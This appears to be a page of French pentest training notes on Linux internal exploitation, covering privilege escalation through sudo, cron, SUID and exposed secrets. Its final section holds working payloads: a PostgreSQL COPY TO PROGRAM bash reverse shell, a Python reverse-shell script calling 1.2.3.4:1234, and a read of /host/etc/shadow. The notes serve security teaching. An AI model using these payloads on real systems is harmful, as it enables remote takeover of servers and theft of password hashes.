====================
Exploitation interne
====================

Denrés Linux
============

**Comptes :**

- Mots de passe
- Clés SSH
- Etc.

**Secrets :**

- Journaux (souvant dans ``/var/log``)
- Historiques (bash_history)
- Etc.

**Mauvaises configurations :**

- Sudo
- PATH
- Etc.

**Versions :**

- Kernel
- Composants
- CVE => Voir Linpeas par exemple
- Etc.

**Droits trop permissifs :**

- Crontab (cf. slide suivante)
- Capabilities
- SUID/GUID
- Shared lib
- Etc.


Notre ami SUDO
==============

Mauvaise configuration des droits sudo = Un utilisateur peut abuser de certaines commandes

Ce que l'on vise:

- Exécution de code avec des privilèges plus élevés
- Modification de fichiers
- Compromission du serveur

Vérifier les droits sudo : ``sudo -l``

- Identifier les binaires autorisés permettant de sortir du contexte autorisé (GTFOBins)
- Contrôler l'utilisation du caractère ``*``
- Vérifier les droits sur les binaires et les chemins associés


Notre ami CRON
==============

Exploitation des tâches planifiées (cron jobs).

Scripts exécutés automatiquement avec privilèges élevés.

Vulnérabilités fréquentes :

- Script ou répertoire modifiable par un utilisateur non root
- Ressources (et leurs répertoires) utilisées par les scripts modifiables par un utilisateur non root (cas du lien symbolique)
- PATH non sécurisé / Fichier appelé sans chemin absolu

Ce que l'on vise:

- Exécution de code en root
- Persistance sur la machine

Comment trouver une faille CRON:

- Lister les tâches cron: ``crontab -l``, ``/etc/cron.....``
- Vérifier :

  - scripts modifiables
  - permissions incorrectes sur les fichiers / répertoires
  - chemins relatifs

- Tester :

  - injection dans scripts exécutés
  - remplacement des ressources utilisés


Autre
=====

Quelques commandes que l'on a pu voir:

- Exploit SQL: ``COPY (SELECT '') TO PROGRAM 'bash -c "bash -i >& /dev/tcp/1.2.3.4/1234 0>&1"';``
- ``/proc/1/status``
- ``df`` et ``mount``
- ``ls /host``
- ``cat /host/etc/shadow``

Reverse shell en Python:

.. code-block:: python

    cat >> /shared/revshell.py << EOF
    import sys,socket,os,pty
    s=socket.socket()
    s.connect(("1.2.3.4",1234))
    [os.dup2(s.fileno(),fd) for fd in (0,1,2)]
    pty.spawn("bash")
    EOF


.. toctree::
   :maxdepth: 2
   :caption: Contents:

   docs/recon
   docs/exploitation_externe
   docs/exploitation_interne
   docs/virtualisation_docker_kube